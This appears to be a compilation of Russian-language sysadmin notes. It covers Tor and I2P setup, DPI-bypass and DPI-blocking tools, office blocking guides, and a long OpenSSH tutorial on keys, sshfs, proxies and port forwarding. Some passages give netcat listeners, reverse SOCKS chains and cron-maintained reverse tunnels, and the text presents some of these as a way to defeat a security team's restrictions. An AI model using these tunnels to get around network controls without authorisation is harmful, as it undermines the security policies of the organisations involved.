Можно подрубиться и по SSH:
torify ssh eax@g5a6wykhm2ajtwvk.onion

Настроим проброс порта 3003, как это было описано выше. Затем скажем:
sudo pacman -S gnu-netcat
nc -l -p 3003

На другой машине говорим:
torify telnet g5a6wykhm2ajtwvk.onion 3003

В итоге получили анонимный чат с end to end шифрованием! Для большего удобства можно использовать специализированный LAN-чаты. Например, iptux (AUR) имеет GUI и поддерживает обмен файлами. Также для обмена файлами через Tor существует программа OnionShare (AUR).

I2P
http://geti2p.net/
https://i2pd.website/
http://search.i2p/
https://github.com/PurpleI2P/i2pd/releases
https://github.com/PurpleI2P/i2pdbrowser
http://deb.i2p2.no/
https://i2pd.readthedocs.io/en/latest/user-guide/install/
https://launchpad.net/~purplei2p
sudo add-apt-repository ppa:purplei2p/i2pd
sudo apt-get update
sudo apt-get install i2pd

https://hub.docker.com/r/meeh/i2pd
https://hub.docker.com/r/kytv/i2pd/
https://github.com/PurpleI2P/i2pd-android
https://4pda.to/forum/index.php?showtopic=369746
https://play.google.com/store/apps/details?id=net.i2p.android
https://f-droid.org/packages/net.i2p.android.router/


I2P mail + Thunderbird + OpenPGP
«Пурпурный» I2P — окно в мир C++ приложений
Как в первый раз запустить i2pd: инструкция под Debian/Ubuntu
Как пользоваться i2pd: исчерпывающая инструкция под MS Windows
https://vk.com/purplei2p.i2pd

обход DPI
https://github.com/ntop/nDPI
https://github.com/vel21ripn/nDPI
https://github.com/betolj/ndpi-netfilter/

Применение технологии Deep Packet Inspection (DPI) в Linux Debian 7 (wheezy)
installing and configuring ndpi-netfilter for traffic controlling on RedHat/CentOS 7
Сборка ядра для Ubuntu с патчами IMQ и nDPI (UPD. Актуализировано под 18.04)
nDPI как модуль iptables (ndpi-netfilter) на Orange PI
iptables -m ndpi --help
iptables -A FORWARD -m ndpi --youtube -j DROP
iptables -I POSTROUTING -m ndpi --quic -j DROP

Автономный способ обхода DPI и эффективный способ обхода блокировок сайтов по IP-адресу
Автономное, без задействования сторонних серверов, средство противодействия DPI.
https://github.com/bol-van/zapret
https://reqrypt.org/reqrypt.html
https://github.com/basil00/reqrypt
https://bitbucket.org/ValdikSS/goodbyedpi/src
https://github.com/ValdikSS/blockcheck
https://github.com/ValdikSS/GoodbyeDPI
https://rutracker.org/forum/viewtopic.php?t=5171734
https://github.com/StreisandEffect/streisand

https://github.com/bol-van/zapret/blob/master/docs/quick_start.txt
https://github.com/nomoresat/DPITunnel-cli
https://github.com/hufrea/byedpi
https://github.com/dovecoteescapee/ByeDPIAndroid
https://github.com/nomoresat/DPITunnel-cli
https://github.com/krlvm/PowerTunnel-Android
https://github.com/SadeghHayeri/GreenTunnel
https://github.com/xvzc/SpoofDPI
https://github.com/heiher/hev-socks5-tunnel




как заблокировать в офисной сетке
http://www.squidguard.org/blacklists.html
IPFilter: Как скрыть существование файрвола?
Squid: Анонимен ли ваш прокси?
"А король-то голый!" или Как заблокировать Телеграм
MTProto proxy: видим факт использования прокси пользователем
Блокируем Хамачи
Cisco: Как заблокировать Opera Turbo
Cisco: Как заблокировать Browsec
Cisco: Как заблокировать ZenMate
Cisco: Как заблокировать Hola
Cisco: Как заблокировать Stealthy
Squid + SquidGuard: Блокирование TLD
Cisco: Блокируем P2P с NBAR
Блокирование Tor средствами IPFilter в Solaris 10
Brocade FOS: Блокирование доступа по telnet

http://www.zapretservice.ru/

установка squid с доступом по группам в AD, squidGuard, lighttpd+lightsquid, sams2 в centos часть 1
установка squid с доступом по группам в AD, squidGuard, lighttpd+lightsquid, sams2 в centos часть 2

разное

http://witch.valdikss.org.ru/
https://github.com/ValdikSS/p0f-mtu-script
Деанонимизируем пользователей Windows и получаем учетные данные Microsoft и VPN-аккаунтов
https://msleak.perfect-privacy.com/
https://www.perfect-privacy.com/en/blog/security-issue-in-windows-leaks-login-data

15 лучших и бесплатных инструментов компьютерного криминалиста
70+ бесплатных инструментов для компьютерной криминалистики (форензики)

Исследуем «Ревизор» Роскомнадзора
Ищем и скачиваем непопулярные и старые файлы в интернете
Анонимность в современном мегаполисе

список доступных криптографических инструментов и децентрализованных сервисов.
разное
http://osmocom.org/projects/openbsc
https://openwireless.org/
http://guifi.net/en
https://freifunk.net/en/


abstract: В статье описаны продвинутые функций OpenSSH, которые позволяют сильно упростить жизнь системным администраторам и программистам, которые не боятся шелла. В отличие от большинства руководств, которые кроме ключей и -L/D/R опций ничего не описывают, я попытался собрать все интересные фичи и удобства, которые с собой несёт ssh.



Предупреждение: пост очень объёмный, но для удобства использования я решил не резать его на части.



Оглавление:


Управление ключами


Теория в нескольких словах: ssh может авторизоваться не по паролю, а по ключу. Ключ состоит из открытой и закрытой части. Открытая кладётся в домашний каталог пользователя, «которым» заходят на сервер, закрытая — в домашний каталог пользователя, который идёт на удалённый сервер. Половинки сравниваются (я утрирую) и если всё ок — пускают. Важно: авторизуется не только клиент на сервере, но и сервер по отношению к клиенту (то есть у сервера есть свой собственный ключ). Главной особенностью ключа по сравнению с паролем является то, что его нельзя «украсть», взломав сервер — ключ не передаётся с клиента на сервер, а во время авторизации клиент доказывает серверу, что владеет ключом (та самая криптографическая магия).



Генерация ключа



Свой ключ можно сгенерировать с помощью команды ssh-keygen. Если не задать параметры, то он сохранит всё так, как надо.



Ключ можно закрыть паролем. Этот пароль (в обычных графических интерфейсах) спрашивается один раз и сохраняется некоторое время. Если пароль указать пустым, он спрашиваться при использовании не будет. Восстановить забытый пароль невозможно.



Сменить пароль на ключ можно с помощью команды ssh-keygen -p.



Структура ключа



(если на вопрос про расположение ответили по-умолчанию).

~/.ssh/id_rsa.pub — открытый ключ. Его копируют на сервера, куда нужно получить доступ.

~/.ssh/id_rsa — закрытый ключ. Его нельзя никому показывать. Если вы в письмо/чат скопипастите его вместо pub, то нужно генерировать новый ключ. (Я не шучу, примерно 10% людей, которых просишь дать ssh-ключ постят id_rsa, причём из этих десяти процентов мужского пола 100%).



Копирование ключа на сервер



В каталоге пользователя, под которым вы хотите зайти, если создать файл ~/.ssh/authorized_keys и положить туда открытый ключ, то можно будет заходить без пароля. Обратите внимание, права на файл не должны давать возможность писать в этот файл посторонним пользователям, иначе ssh его не примет. В ключе последнее поле — user@machine. Оно не имеет никакого отношения к авторизации и служит только для удобства определения где чей ключ. Заметим, это поле может быть поменяно (или даже удалено) без нарушения структуры ключа.



Если вы знаете пароль пользователя, то процесс можно упростить. Команда ssh-copy-id user@server позволяет скопировать ключ не редактируя файлы вручную.



Замечание: Старые руководства по ssh упоминают про authorized_keys2. Причина: была первая версия ssh, потом стала вторая (текущая), для неё сделали свой набор конфигов, всех это очень утомило, и вторая версия уже давным давно переключилась на версии без всяких «2». То есть всегда authorized_keys и не думать о разных версиях.



Если у вас ssh на нестандартном порту, то ssh-copy-id требует особого ухищрения при работе: ssh-copy-id '-p 443 user@server' (внимание на кавычки).



Ключ сервера



Первый раз, когда вы заходите на сервер, ssh вас спрашивает, доверяете ли вы ключу. Если отвечаете нет, соединение закрывается. Если да — ключ сохраняется в файл ~/.ssh/known_hosts. Узнать, где какой ключ нельзя (ибо несекьюрно).



Если ключ сервера поменялся (например, сервер переустановили), ssh вопит от подделке ключа. Обратите внимание, если сервер не трогали, а ssh вопит, значит вы не на тот сервер ломитесь (например, в сети появился ещё один компьютер с тем же IP, особо этим страдают всякие локальные сети с 192.168.1.1, которых в мире несколько миллионов). Сценарий «злобной man in the middle атаки» маловероятен, чаще просто ошибка с IP, хотя если «всё хорошо», а ключ поменялся — это повод поднять уровень паранойи на пару уровней (а если у вас авторизация по ключу, а сервер вдруг запросил пароль — то паранойю можно включать на 100% и пароль не вводить).



Удалить известный ключ сервера можно командой ssh-keygen -R server. При этом нужно удалить ещё и ключ IP (они хранятся раздельно): ssh-keygen -R 127.0.0.1.



Ключ сервера хранится в /etc/ssh/ssh_host_rsa_key и /etc/ssh/ssh_host_rsa_key.pub. Их можно:

а) скопировать со старого сервера на новый.

б) сгенерировать с помощью ssh-keygen. Пароля при этом задавать не надо (т.е. пустой). Ключ с паролем ssh-сервер использовать не сможет.



Заметим, если вы сервера клонируете (например, в виртуалках), то ssh-ключи сервера нужно обязательно перегенерировать.



Старые ключи из know_hosts при этом лучше убрать, иначе ssh будет ругаться на duplicate key.





Копирование файлов


Передача файлов на сервер иногда может утомлять. Помимо возни с sftp и прочими странными вещами, ssh предоставляет нам команду scp, которая осуществляет копирование файла через ssh-сессию.



scp path/myfile user@8.8.8.8:/full/path/to/new/location/





Обратно тоже можно:

scp user@8.8.8.8:/full/path/to/file /path/to/put/here





Fish warning: Не смотря на то, что mc умеет делать соединение по ssh, копировать большие файлы будет очень мучительно, т.к. fish (модуль mc для работы с ssh как с виртуальной fs) работает очень медленно. 100-200кб — предел, дальше начинается испытание терпения. (Я вспомнил свою очень раннюю молодость, когда не зная про scp, я копировал ~5Гб через fish в mc, заняло это чуть больше 12 часов на FastEthernet).



Возможность копировать здорово. Но хочется так, чтобы «сохранить как» — и сразу на сервер. И чтобы в графическом режиме копировать не из специальной программы, а из любой, привычной.



Так тоже можно:



sshfs


Теория: модуль fuse позволяет «экспортировать» запросы к файловой системе из ядра обратно в userspace к соответствующей программе. Это позволяет легко реализовывать «псевдофайловые системы». Например, мы можем предоставить доступ к удалённой файловой системе через ssh так, что все локальные приложения (за малым исключением) не будут ничего подозревать.



Собственно, исключение: O_DIRECT не поддерживается, увы (это проблема не sshfs, это проблема fuse вообще).



Использование: установить пакет sshfs (сам притащит за собой fuse).



Собственно, пример моего скрипта, который монтирует desunote.ru (размещающийся у меня на домашнем комьютере — с него в этой статье показываются картинки) на мой ноут:



#!/bin/bash
sshfs desunote.ru:/var/www/desunote.ru/ /media/desunote.ru -o reconnect




Делаем файл +x, вызываем, идём в любое приложение, говорим сохранить и видим:







Параметры sshfs, которые могут оказаться важными: -o reconnect (говорит пытаться пересоединиться вместо ошибок).



Если вы много работаете с данными от рута, то можно (нужно) сделать idmap:



-o idmap=user. Работает она следующим образом: если мы коннектимся как пользователь pupkin@server, а локально работаем как пользователь vasiliy, то мы говорим «считать, что файлы pupkin, это файлы vasiliy». ну или «root», если мы коннектимся как root.



В моём случае idmap не нужен, так как имена пользователей (локальное и удалённое) совпадают.



Заметим, комфортно работать получается только если у нас есть ssh-ключик (см. начало статьи), если нет — авторизация по паролю выбешивает на 2-3 подключение.



Отключить обратно можно командой fusermount -u /path, однако, если соединение залипло (например, нет сети), то можно/нужно делать это из-под рута: sudo umount -f /path.






Удалённое исполнение кода


ssh может выполнить команду на удалённом сервере и тут же закрыть соединение. Простейший пример:



ssh user@server ls /etc/





Выведет нам содержимое /etc/ на server, при этом у нас будет локальная командная строка.



Некоторые приложения хотят иметь управляющий терминал. Их следует запускать с опцией -t:

ssh user@server -t remove_command





Кстати, мы можем сделать что-то такого вида:

ssh user@server cat /some/file|awk '{print $2}' |local_app





Это нас приводит следующей фиче:

Проброс stdin/out


Допустим, мы хотим сделать запрос к программе удалённо, а потом её вывод поместить в локальный файл



ssh user@8.8.8.8 command >my_file



Допустим, мы хотим локальный вывод положить удалённо



mycommand |scp — user@8.8.8.8:/path/remote_file



Усложним пример — мы можем прокидывать файлы с сервера на сервер: Делаем цепочку, чтобы положить stdin на 10.1.1.2, который нам не доступен снаружи:



mycommand | ssh user@8.8.8.8 «scp — user@10.1.1.2:/path/to/file»



Есть и вот такой головоломный приём использования pipe'а (любезно подсказали в комментариях в жж):



tar -c * | ssh user@server "cd && tar -x"





Tar запаковывает файлы по маске локально, пишет их в stdout, откуда их читает ssh, передаёт в stdin на удалённом сервере, где их cd игнорирует (не читает stdin), а tar — читает и распаковывает. Так сказать, scp для бедных.



Алиасы


Скажу честно, до последнего времени не знал и не использовал. Оказались очень удобными.



В более-менее крупной компании часто оказывается, что имена серверов выглядят так: spb-MX-i3.extrt.int.company.net. И пользователь там не равен локальному. То есть логиниться надо так: ssh ivanov_i@spb-MX-i3.extrt.int.company.net. Каждый раз печатать — туннельных синдромов не напасёшься. В малых компаниях проблема обратная — никто не думает о DNS, и обращение на сервер выглядит так: ssh root@192.168.1.4. Короче, но всё равно напрягает. Ещё большая драма, если у нас есть нестандартный порт, и, например, первая версия ssh (привет цискам). Тогда всё выглядит так: ssh -1 -p 334 vv_pupkin@spb-MX-i4.extrt.int.company.net. Удавиться. Про драму с scp даже рассказывать не хочется.



Можно прописать общесистемные alias'ы на IP (/etc/hosts), но это кривоватый выход (и пользователя и опции всё равно печатать). Есть путь короче.



Файл ~/.ssh/config позволяет задать параметры подключения, в том числе специальные для серверов, что самое важное, для каждого сервера своё. Вот пример конфига:



Host ric
        Hostname ооо-рога-и-копыта.рф
        User Администратор
        ForwardX11 yes
        Compression yes
Host home
        Hostname myhome.dyndns.org
        User vasya
        PasswordAuthentication no




Все доступные для использования опции можно увидеть в man ssh_config (не путать с sshd_config).




Опции по умолчанию


По подсказке UUSER: вы можете указать настройки соединения по умолчанию с помощью конструкции Host *, т.е., например:



Host *
User root
Compression yes




То же самое можно сделать и в /etc/ssh/ssh_config (не путать с /etc/ssh/sshd_config), но это требует прав рута и распространяется на всех пользователей.








Проброс X-сервера


Собственно, немножко я проспойлерил эту часть в примере конфига выше. ForwardX11 — это как раз оно.



Теория: Графические приложения в юникс обычно используют X-сервер (wayland в пути, но всё ещё не готов). Это означает, что приложение запускается и подключается к X-серверу для рисования. Иными словами, если у вас есть голый сервер без гуя и есть локальный x-сервер (в котором вы работаете), то вы можете дать возможность приложениям с сервера рисовать у вас на рабочем столе. Обычно подключение к удалённом X-серверу — не самая безопасная и тривиальная вещь. SSH позволяет упростить этот процесс и сделать его совсем безопасным. А возможность жать трафик позволяет ещё и обойтись меньшим трафиком (т.е. уменьшить утилизацию канала, то есть уменьшить ping (точнее, latency), то есть уменьшить лаги).



Ключики: -X — проброс X-сервера. -Y проброс авторизации.



Достаточно просто запомнить комбинацию ssh -XYC user@SERVER.

В примере выше (названия компании вымышленные) я подключаюсь к серверу ооо-рога-и-копыта.рф не просто так, а с целью получить доступ к windows-серверу. Безопасность microsoft при работе в сети мы все хорошо знаем, так что выставлять наружу голый RDP неуютно. Вместо этого мы подключаемся к серверу по ssh, а дальше запускаем там команду rdesktop:

ssh ric

rdesktop -k en-us 192.168.1.1 -g 1900x1200





и чудо, окошко логина в windows на нашем рабочем столе. Заметим, тщательно зашифрованное и неотличимое от обычного ssh-трафика.








Socks-proxy


Когда я оказываюсь в очередной гостинице (кафе, конференции), то местный wifi чаще всего оказывается ужасным — закрытые порты, неизвестно какой уровень безопасности. Да и доверия к чужим точкам доступа не особо много (это не паранойя, я вполне наблюдал как уводят пароли и куки с помощью банального ноутбука, раздающего 3G всем желающим с названием близлежащей кафешки (и пишущего интересное в процессе)).



Особые проблемы доставляют закрытые порты. То джаббер прикроют, то IMAP, то ещё что-нибудь.



Обычный VPN (pptp, l2tp, openvpn) в таких ситуациях не работает — его просто не пропускают. Экспериментально известно, что 443ий порт чаще всего оставляют, причём в режиме CONNECT, то есть пропускают «как есть» (обычный http могут ещё прозрачно на сквид завернуть).



Решением служит socks-proxy режим работы ssh. Его принцип: ssh-клиент подключается к серверу и слушает локально. Получив запрос, он отправляет его (через открытое соединение) на сервер, сервер устанавливает соединение согласно запросу и все данные передаёт обратно ssh-клиенту. А тот отвечает обратившемуся. Для работы нужно сказать приложениям «использовать socks-proxy». И указать IP-адрес прокси. В случае с ssh это чаще всего localhost (так вы не отдадите свой канал чужим людям).



Подключение в режиме sock-proxy выглядит так:

ssh -D 8080 user@server




В силу того, что чужие wifi чаще всего не только фиговые, но и лагливые, то бывает неплохо включить опцию -C (сжимать трафик). Получается почти что opera turbo (только картинки не жмёт). В реальном сёрфинге по http жмёт примерно в 2-3 раза (читай — если вам выпало несчастье в 64кбит, то вы будете мегабайтные страницы открывать не по две минуты, а секунд за 40. Фигово, но всё ж лучше). Но главное: никаких украденных кук и подслушанных сессий.



Я не зря сказал про закрытые порты. 22ой порт закрывают ровно так же, как «не нужный» порт джаббера. Решение — повесить сервер на 443-й порт. Снимать с 22 не стоит, иногда бывают системы с DPI (deep packet inspection), которые ваш «псевдо-ssl» не пустят.



Вот так выглядит мой конфиг:



/etc/ssh/sshd_config:

(фрагмент)

Port 22

Port 443



А вот кусок ~/.ssh/config с ноутбука, который описывает vpn



Host vpn
    Hostname desunote.ru
    User vasya
    Compression yes
    DynamicForward 127.1:8080
    Port 443




(обратите внимание на «ленивую» форму записи localhost — 127.1, это вполне себе законный метод написать 127.0.0.1)






Проброс портов


Мы переходим к крайне сложной для понимания части функционала SSH, позволяющей осуществлять головоломные операции по туннелированию TCP «из сервера» и «на сервер».



Для понимания ситуации все примеры ниже будут ссылаться на вот эту схему:







Комментарии: Две серые сети. Первая сеть напоминает типичную офисную сеть (NAT), вторая — «гейтвей», то есть сервер с белым интерфейсом и серым, смотрящим в свою собственную приватную сеть. В дальнейших рассуждениях мы полагаем, что «наш» ноутбук — А, а «сервер» — Б.



Задача: у нас локально запущено приложение, нам нужно дать возможность другому пользователю (за пределами нашей сети) посмотреть на него.



Решение: проброс локального порта (127.0.0.1:80) на публично доступный адрес. Допустим, наш «публично доступный» Б занял 80ый порт чем-то полезным, так что пробрасывать мы будем на нестандартный порт (8080).



Итоговая конфигурация: запросы на 8.8.8.8:8080 будут попадать на localhost ноутбука А.



ssh -R 127.1:80:8.8.8.8:8080 user@8.8.8.8





Опция -R позволяет перенаправлять с удалённого (Remote) сервера порт на свой (локальный).

Важно: если мы хотим использовать адрес 8.8.8.8, то нам нужно разрешить GatewayPorts в настройках сервера Б.

Задача. На сервере «Б» слушает некий демон (допустим, sql-сервер). Наше приложение не совместимо с сервером (другая битность, ОС, злой админ, запрещающий и накладывающий лимиты и т.д.). Мы хотим локально получить доступ к удалённому localhost'у.



Итоговая конфигурация: запросы на localhost:3333 на 'A' должны обслуживаться демоном на localhost:3128 'Б'.



ssh -L 127.1:3333:127.1:3128 user@8.8.8.8





Опция -L позволяет локальные обращения (Local) направлять на удалённый сервер.



Задача: На сервере «Б» на сером интерфейсе слушает некий сервис и мы хотим дать возможность коллеге (192.168.0.3) посмотреть на это приложение.



Итоговая конфигурация: запросы на наш серый IP-адрес (192.168.0.2) попадают на серый интерфейс сервера Б.



ssh -L 192.168.0.2:8080:10.1.1.1:80 user@8.8.8.8





Вложенные туннели



Разумеется, туннели можно перенаправлять.



Усложним задачу: теперь нам хочется показать коллеге приложение, запущенное на localhost на сервере с адресом 10.1.1.2 (на 80ом порту).



Решение сложно:

ssh -L 192.168.0.2:8080:127.1:9999 user@8.8.8.8 ssh -L 127.1:9999:127.1:80 user2@10.1.1.2





Что происходит? Мы говорим ssh перенаправлять локальные запросы с нашего адреса на localhost сервера Б и сразу после подключения запустить ssh (то есть клиента ssh) на сервере Б с опцией слушать на localhost и передавать запросы на сервер 10.1.1.2 (куда клиент и должен подключиться). Порт 9999 выбран произвольно, главное, чтобы совпадал в первом вызове и во втором.



Реверс-сокс-прокси




Если предыдущий пример вам показался простым и очевидным, то попробуйте догадаться, что сделает этот пример:

ssh -D 8080 -R 127.1:8080:127.1:8080 user@8.8.8.8 ssh -R 127.1:8080:127.1:8080 user@10.1.1.2



Если вы офицер безопасности, задача которого запретить использование интернета на сервере 10.1.1.2, то можете начинать выдёргивать волосы на попе, ибо эта команда организует доступ в интернет для сервера 10.1.1.2 посредством сокс-прокси, запущенного на компьютере «А». Трафик полностью зашифрован и неотличим от любого другого трафика SSH. А исходящий трафик с компьютера с точки зрения сети «192.168.0/24» не отличим от обычного трафика компьютера А.




Туннелирование


Если к этому моменту попа отдела безопасности не сияет лысиной, а ssh всё ещё не внесён в список врагов безопасности номер один, вот вам окончательный убийца всего и вся: туннелирование IP или даже ethernet. В самых радикальных случаях это позволяет туннелировать dhcp, заниматься удалённым arp-спуфингом, делать wake up on lan и прочие безобразия второго уровня.



Подробнее описано тут: www.khanh.net/blog/archives/51-using-openSSH-as-a-layer-2-ethernet-bridge-VPN.html



(сам я увы, таким не пользовался).



Легко понять, что в таких условиях невозможно никаким DPI (deep packet inspection) отловить подобные туннели — либо ssh разрешён (читай — делай что хочешь), либо ssh запрещён (и можно смело из такой компании идиотов увольняться не ощущая ни малейшего сожаления).



Проброс авторизации


Если вы думаете, что на этом всё, то…… впрочем, в отличие от автора, у которого «снизу» ещё не написано, читатель заранее видит, что там снизу много букв и интриги не получается.



OpenSSH позволяет использовать сервера в качестве плацдарма для подключения к другим серверам, даже если эти сервера недоверенные и могут злоупотреблять чем хотят.



Для начала о простом пробросе авторизации.



Повторю картинку:







Допустим, мы хотим подключиться к серверу 10.1.1.2, который готов принять наш ключ. Но копировать его на 8.8.8.8 мы не хотим, ибо там проходной двор и половина людей имеет sudo и может шариться по чужим каталогам. Компромиссным вариантом было бы иметь «другой» ssh-ключ, который бы авторизовывал user@8.8.8.8 на 10.1.1.2, но если мы не хотим пускать кого попало с 8.8.8.8 на 10.1.1.2, то это не вариант (тем паче, что ключ могут не только поюзать, но и скопировать себе «на чёрный день»).



ssh предлагает возможность форварда ssh-агента (это такой сервис, который запрашивает пароль к ключу). Опция ssh -A пробрасывает авторизацию на удалённый сервер.



Вызов выглядит так:



ssh -A user@8.8.8.8 ssh user2@10.1.1.2





Удалённый ssh-клиент (на 8.8.8.8) может доказать 10.1.1.2, что мы это мы только если мы к этому серверу подключены и дали ssh-клиенту доступ к своему агенту авторизации (но не ключу!).



В большинстве случаев это прокатывает.



Однако, если сервер совсем дурной, то root сервера может использовать сокет для имперсонализации, когда мы подключены.



Есть ещё более могучий метод — он превращает ssh в простой pipe(в смысле, «трубу») через которую насквозь мы осуществляем работу с удалённым сервером.



Главным достоинством этого метода является полная независимость от доверенности промежуточного сервера. Он может использовать поддельный ssh-сервер, логгировать все байты и все действия, перехватывать любые данные и подделывать их как хочет — взаимодействие идёт между «итоговым» сервером и клиентом. Если данные оконечного сервера подделаны, то подпись не сойдётся. Если данные не подделаны, то сессия устанавливается в защищённом режиме, так что перехватывать нечего.



Эту клёвую настройку я не знал, и раскопал её redrampage.



Настройка завязана на две возможности ssh: опцию -W (превращающую ssh в «трубу») и опцию конфига ProxyCommand (опции командной строки, вроде бы нет), которая говорит «запустить программу и присосаться к её stdin/out». Опции эти появились недавно, так что пользователи centos в пролёте.



Выглядит это так (циферки для картинки выше):



.ssh/config:

Host raep
     HostName 10.1.1.2
     User user2
     ProxyCommand ssh -W %h:%p user@8.8.8.8




Ну а подключение тривиально: ssh raep.



Повторю важную мысль: сервер 8.8.8.8 не может перехватить или подделать трафик, воспользоваться агентом авторизации пользователя или иным образом изменить трафик. Запретить — да, может. Но если разрешил — пропустит через себя без расшифровки или модификации. Для работы конфигурации нужно иметь свой открытый ключ в authorized_keys как для user@8.8.8.8, так и в user2@10.1.1.2



Разумеется, подключение можно оснащать всеми прочими фенечками — прокидыванием портов, копированием файлов, сокс-прокси, L2-туннелями, туннелированием X-сервера и т.д.



Финал



Разумеется, в посте про туннели должен быть туннель, а в любой успешной статье — секретный ингредиент всеобщей популярности. Держите:



ssh: Вытаскиваем для себя чужой порт из-за NAT




Что делает ssh -R © erik, unix.stackexchange.com



Подключиться к сервису за NAT, имея человека рядом с сервисом, вооруженного ssh, и белый ip у себя.



Опция -R



В ssh есть режим, в котором он открывает порт на сервере и, через туннель от сервера до клиента, перенаправляет соединения в указанный адрес в сети клиента.



То есть нам нужно поднять sshd, попросить человека выполнить



$ ssh -N -R server_port:target:target_port sshd_server


И у нас на машине с sshd откроется порт server_port, который будет туннелироваться в target:target_port в сети этого человека.



Как в sshd_config ограничить права



ForceCommand echo "no shell access is given"


Если задать эту опцию, то указанная команда будет выполняться вместо любой передаваемой клиентом (обычно клиент запускает шелл).

Так как scp работает через [встроенную] команду sftp, то копирование файлов тоже будет закрыто.



Туннелирование (форвардинг) при этом все еще работает.



AllowTcpForwarding remote


Разрешает режимы туннелирования tcp:




  • local (опция -L в ssh) — открыть порт на клиенте и перенаправить подключения на заданный клиентом адрес в сети сервера

  • remote (опция -R) — открыть порт на сервере и туннелировать подключения на заданный клиентом адрес в его сети

  • all или yes — разрешает и local, и remote

  • no — запрещает tcp туннели



Match


Как обычно, вышеуказанные опции можно положить в секцию, например, Match User tunnel, и они будут действительны только для соединений, аутентифицирующихся под именем этого пользователя. (ssh… tunnel@sshd_server)



Положить в конец sshd_config и не забыть создать пользователя tunnel
Match User tunnel
    ForceCommand echo "no shell access is given"
    AllowTcpForwarding remote
    # на случай, если у нас глобально установлено иначе:
    X11Forwarding no
    PermitTunnel no


Еще было бы хорошо ограничить порты, которые клиент может занимать на сервере, но без патчей к sshd этого не сделать.



Удобнее и без root-а



Хочется решать задачу в духе netcat: не трогать системный sshd, не создавать новых пользователей и не запускать демонов.



sshd можно запустить без рута, если сделать отдельный конфиг и отключить несколько опций. (При этом он не сможет принимать пользователей отличных от того, с которым он был запущен). Также нужно указать отдельный HostKey и отдельный PidFile.



Останется проблема аутентификации. Так как делиться собственным системным паролем (а мы не собираемся создавать отдельного пользователя) с клиентами неправильно, нужно оставить только аутентификацию по ключам и указать отдельный файлик с ними.



Кроме этого, получившийся sshd удобно запускать без демонизации и с логом в консоль, чтобы следить, как создаются туннели.



Готовый скрипт: запускалка пользовательского sshd, ограниченного созданием туннелей


Памятка пользователям ssh
ssh: Вытаскиваем для себя чужой порт из-за NAT
Магия SSH

Не всегда есть возможность, да и не всегда надо, строить полноценный туннель с интерфейсной парой адресов. Иногда нам нужно лишь «прокинуть» вполне определённые порты.

Тут важно понимать, что туннель можно организовать как изнутри сети, к ресурсам которой вы хотите получить доступ, на внешний ssh-сервер. Также можно организовать туннель с хоста в Интернете на пограничный ssh-сервер сети, чтобы получить доступ к внутренним ресурсам.

Итак. По-порядку.

Строим туннель из сети в мир.

$ ssh -f -N -R 2222:10.11.12.13:22 username@99.88.77.66


теперь введя на хосте 99.88.77.66:

$ ssh -p2222 localhost


мы попадём на хост 10.11.12.13.

Таким-же образом можно получить доступ к любому другому ресурсу, например:

$ ssh -f -N -R 2080:10.11.12.14:80 username@99.88.77.66


Введя на хосте 99.88.77.66:

$ w3m -dump http://localhost:2080


получим дамп web-ресурса на 10.11.12.14.

Строим туннель из мира в сеть.

$ ssh -f -N -L 4080:192.168.0.10:80 nameuser@88.77.66.55


Аналогично, вводим на своём хосте:

$ w3m -dump http://localhost:4080


и получаем доступ к web-ресурсу узла 192.168.0.10, который находится за хостом 88.77.66.55.

Поддерживаем туннели в поднятом состоянии
Ни для кого не секрет, что связь иногда обрывается, туннели при этом будут отваливаться по таймауту.
Чтобы не утруждать себя дополнительным монотонным вбиванием команды на поднятие туннеля и мониторингом этого процесса, автоматизируем его. Смело вводим:

$ crontab -e

и создаём расписание примерно следующего вида:

TUNCMD1='ssh -f -N -R 2222:10.11.12.13:22 username@99.88.77.66'
TUNCMD2='ssh -f -N -R 2080:10.11.12.14:80 username@99.88.77.66'

*/5 * * * * pgrep -f "$TUNCMD1" &>/dev/null || $TUNCMD1
*/5 * * * * pgrep -f "$TUNCMD2" &>/dev/null || $TUNCMD2


Сохраняемся. Проверяем по

$ crontab -l


что расписание принято.

Это лишь ещё один момент особой админской магии… Надеюсь, что лишних вопросов не должно водникнуть. С дополнительными опциями ssh можно ознакомиться в

$ man 1 ssh


По практическому опыту — cron-задания на перезапуск абсолютно недостаточно.
Разве что соединение абсолютно стабильно. В реальной жизни встречается в 0% случаев.
Даже соединённые напрямую кабелем две сетевые карты легко могут потерять n-ное количество пакетов и tcp-соединение «упадёт».
Клиент и сервер будут пребывать в святой уверенности, что всё в порядке, просто вторая сторона ничего не передаёт.
Нужен keepalive.
Примерно так:

TCPKeepAlive yes
ServerAliveInterval 300
ServerAliveCountMax 3


Интервал и счётчик — по вкусу.
Добавлять их надо либо в /etc/ssh_config, либо в ~/.ssh/config, либо прямо в команде через опцию -o.
В принципе, судя по man ssh_config, первую из опций можно и опустить. но, на всякий случай, пусть будет.

------------------------------------------------------------------------

1 - Переброс удаленного порта на локальную машину
Задача: необходимо получить доступ до веб-сервера <web-host> в удаленной сети, при этом есть доступ по ssh к хосту <ssh-host>, который имеет доступ до <web-host>:

ssh -L 8081:<web-host>:80 user@<ssh-host>

Команду необходимо выполнять от пользователя root, после чего будет доступен на локальном компьютере по адресу http://localhost:8081


2 - Переброс локального порта или доступного нам по сети на удаленную машину
Задача: необходимо удаленному хосту <ssh-host> доступному по ssh, открыть доступ до веб-сервера <web-host> который нам доступен:

ssh -R 8081:<web-host>:80 user@<ssh-host>

После чего на удаленном хосте <ssh-host> будет доступ до веб-сервера <web-host> по адресу http://localhost:8081.


Дополнительные параметры:
-f - переход в фоновый режим;
-t - запуск консольного приложения на удаленном хосте
-N запрет на выполнение удаленных команд
-X - перенаправление всех запущенных X-приложений на ваш локальный X-сервер
-p № - внешний порт SSH сервера

------------------------------------------------------------------------
обертки для Python`a для создания ssh туннелей.
github.com/pahaz/sshtunnel — обертка над paramiko для создания туннелей.
github.com/jmagnusson/bgtunnel — обертка над консольным ssh для создания тоннелей.
github.com/paramiko/paramiko — нативная имплементация ssh.

------------------------------------------------------------------------

https://habr.com/ru/post/81607/
http://hostadmina.ru/blog/linux/ssh/probros-portov-cherez-ssh-tunnel.html
Магия SSH




заглянуть

для понимания этой разницы нужно сделать следующие действия:
1) Переключись в консоль:
chvt 2
или нажав ctrl+alt+f2
2) Залогинься root (для простоты - можно и обычным пользователем)
3) Запусти X-сервер:
X :9 &
4) Вернись обратно в консоль:
нажав ctrl+alt+f2
5) Выполни
export DISPLAY=:9
и какою-нить графическую утилиту, например
xclock &
export DISPLAY=:9 && xclock &
6) Переключись обратно в X(:9)
нажав alt+f8 - это подойдет для многих дистрибутивов.
Точнее можно глянуть:
ps -fC X | grep ":9"
и нажать
